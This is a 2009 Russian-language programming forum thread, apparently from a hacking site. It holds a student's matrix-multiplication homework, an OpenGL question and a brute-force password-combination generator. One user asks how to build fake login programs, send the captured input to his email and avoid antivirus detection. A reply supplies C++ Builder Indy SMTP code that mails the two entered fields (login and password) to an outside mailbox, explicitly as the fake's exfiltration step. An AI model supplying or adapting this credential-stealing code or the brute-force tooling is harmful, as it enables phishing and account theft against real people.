
22.11.2009, 19:36
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
С нами:
9116574
Репутация:
44
|
|
Моё маленькое задание.
Вот написал маленькую программу по Д\З в универе,вроде всё работает,но хотелось бы узнать ваше мнение на её счет.
Программирую на С++ я только с этого года,а Visual Studio Вообще лишь сегодня поставил
Код:
#include<iostream>
#include<math.h>
using namespace std;
/*Задание:
Есть два массива
G[k][k]={9,8,7,6,5,4,3,2,1}
E[k][k]={1,2,3,4,5,6,7,8,9}
k=3
Найти M[i][j]=Σ(L=0 до L=K-1)G[i][L]*E[L][j]
По русски
M[i][j]=G[i][0]*E[0][j]+G[i][1]*E[1][j]+G[i][2]*E[2][j]
И затем вывести её в виде матрицы.
*/
int main () {
//Для отладки поставь tmode=1
const int k=3,tmode=0;
int g[k][k]={9,8,7,6,5,4,3,2,1};
int e[k][k]={1,2,3,4,5,6,7,8,9};
int m[k][k],i,j,l,sum;
for (i=0;i<k;i++)
{
if(tmode==1){cout<<endl<<" || i="<<i;} //<===== отладка
//первый цикл,перебор массивов по i
for (j=0;j<k;j++)
{
if(tmode==1){cout<<" ||j="<<j<<endl;} //<===== отладка
//перебор по j
sum=0;
//SUM=0 нужен для того,чтобы к сумме не прибавлялось значение полученное в циклах по L до этого
for (l=0;l<k;l++)
{
//сумме присваеваем значение предидушей + текущего произведение
sum=sum+g[i][l]*e[l][j];
//На выходе получаем M[i][j]
if(tmode==1){cout<<" | sum[l="<<l<<"]="<<sum;}//<===== отладка
}
m[i][j]=sum;
if(tmode==1){cout<<" | m[i="<<i<<"][j="<<j<<"]="<<m[i][j]; //<===== отладка
cout<<endl;} //<===== отладка
}
}
//Второй этап=Вывод
printf("m[i/j]| 0 | 1 | 2 \n======|======|======|======\n");
for(i=0;i<k;i++)
{
printf(" %2d",i);
for (j=0;j<k;j++)
{
if (m[i][j]>99){printf(" | %2i",m[i][j]);}
else {printf(" | %2i",m[i][j]);}
}printf("\n======|======|======|======\n");
}
return 0;
}
|
|
|

23.11.2009, 04:27
|
|
Новичок
Регистрация: 11.06.2009
Сообщений: 5
С нами:
8903349
Репутация:
0
|
|
Как установить и где их взять библиотеки OpenGL?
Пишу под Linux Mandriva, компил gcc.
|
|
|

23.11.2009, 09:37
|
|
Moderator - Level 7
Регистрация: 16.02.2008
Сообщений: 580
С нами:
9596486
Репутация:
291
|
|
хз как в этой вашей мандриве менеджер пакетов называется.
установи пакеты freeglut freeglut-devel
|
|
|

23.11.2009, 18:38
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
Имеем:
Как сгенеррировать все возможные комбинации из этого диапазона например начиная с 3-х,заканчивая 6 значными словами.
Полазил в сорцах брута на суде,там это должно быть реализовано,но изза многократного упоминания библиотек и переменных относящихся к видеодрайверу,я потерялся 
Интересует алгоритм,в котором бы,сгенерированные ранее слова,не генерились вновь.
|
|
|

23.11.2009, 18:47
|
|
Постоянный
Регистрация: 24.03.2009
Сообщений: 670
С нами:
9017461
Репутация:
414
|
|
Делаешь вложенный цикл, с глубиной вложения равной количеству символов в пассе.
|
|
|

23.11.2009, 19:22
|
|
Постоянный
Регистрация: 16.08.2006
Сообщений: 640
С нами:
10386906
Репутация:
599
|
|
Сообщение от razb
Делаешь вложенный цикл, с глубиной вложения равной количеству символов в пассе.
и отправляешь сорец на сайт говнокодру.
Код:
#include <iostream>
#include <string>
#include <vector>
using namespace std;
string passFromCounter(int counter, const vector<string>& letters);
void main()
{
vector<string> letters;
letters.push_back("a");
letters.push_back("b");
letters.push_back("c");
letters.push_back("d");
letters.push_back("e");
int counter = 0;
while (counter < 50){
cout << passFromCounter(counter++, letters) << endl;
}
system("pause");
}
string passFromCounter(int counter, const vector<string>& letters){
int num = letters.size();
int local_mutation_step = counter;
string pass;
do{
pass = letters.at((local_mutation_step % num)) + pass;
local_mutation_step = local_mutation_step / num - 1;
}while(local_mutation_step >= 0);
return pass;
}
Немножко математики спасают от тупого хардкодирования. Как это работает я уже не раз описывал тут. Как подобрать длину пароля - с 3х до 6ти букв - придумайте сами. Простая арифметика.
|
|
|

23.11.2009, 23:02
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
С нами:
9116574
Репутация:
44
|
|
Привет.
У мня тут два вопросика.
Недавно заинтересовался двумя вещами.
Глушилками на hosts,и программа фейками,хотел бы спросить (не отрицаю того,что тема где-то подымалась,но я ничего стоящего не нашел)
1)на чем обычно такое пишется.
2)как организуется отправка введеных данных с фейк программы например ко мне на почту?
3)сильно ли палиться это ативирусами?
4)где об этом можно найти качественную инфу?
спасибо за внимание.
|
|
|

24.11.2009, 11:16
|
|
Познающий
Регистрация: 18.07.2009
Сообщений: 66
С нами:
8850680
Репутация:
10
|
|
ZnikiR
Держи пример кароч на С++:
кидаешь на форму два компонента: idSMTP и idMessage
вот те примерный код:
IdMessage1->CharSet = "windows1251"; // на шестом билдере понта ноль от этого конечно, а вот на делфи робит отлично, соль в том что если символы русские то приходит ??? это из-за версии инди
IdMessage1->ContentTransferEncoding = "8bit";
IdMessage1->ContentType = "text/plain";
IdMessage1->Recipients->EMailAddresses = "bla_bla@mail.ru";
IdMessage1->Subject = "tema";
IdMessage1->Body->Text = Edit1->Text+':'+Edit2->Text; //текст мессаги, самый гемор для мну был)
IdMessage1->From->Name = "ot menya";
IdMessage1->From->Address = "bla_bla@mail.ru";
IdSMTP1->Host = "smtp.mail.ru";
IdSMTP1->Port = 25; //стандартный порт
IdSMTP1->UserId = "тут_логин_для_входа_в_почту ";
IdSMTP1->Password = "тут_пароль_на_вход";
IdSMTP1->AuthenticationType = atLogin; //говорим что нужна авторизация
IdSMTP1->Connect(); // коннект собсно
IdSMTP1->Send(IdMessage1);
IdSMTP1->Disconnect(); //дисконнект =)
вот собсно код фэйка для отправки на почту. надеюсь на + к репе =)
p.s.: На форуме где нибудь можно почитать примеры авторизации на сайтах с использованием idHTTP ? ну или другими способами?
Последний раз редактировалось Romik001; 24.11.2009 в 11:29..
|
|
|

25.11.2009, 00:47
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 194
С нами:
9116574
Репутация:
44
|
|
Сообщение от Romik001
ZnikiR
Держи пример кароч на С++:
***************
p.s.: На форуме где нибудь можно почитать примеры авторизации на сайтах с использованием idHTTP ? ну или другими способами?
Я так понимаю,что такие программы лучше всего на делфи писать?
Или нет?
|
|
|

24.11.2009, 21:49
|
|
Познавший АНТИЧАТ
Регистрация: 01.12.2006
Сообщений: 1,769
С нами:
10233548
Репутация:
1118
|
|
Среда разработки MSVC 2008 (NET 3.5)
Дано PictureBox + ресурс IDB_Picture_101 (точечный рисунок)
Как правильно подгрузить картинку из ресурсов?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|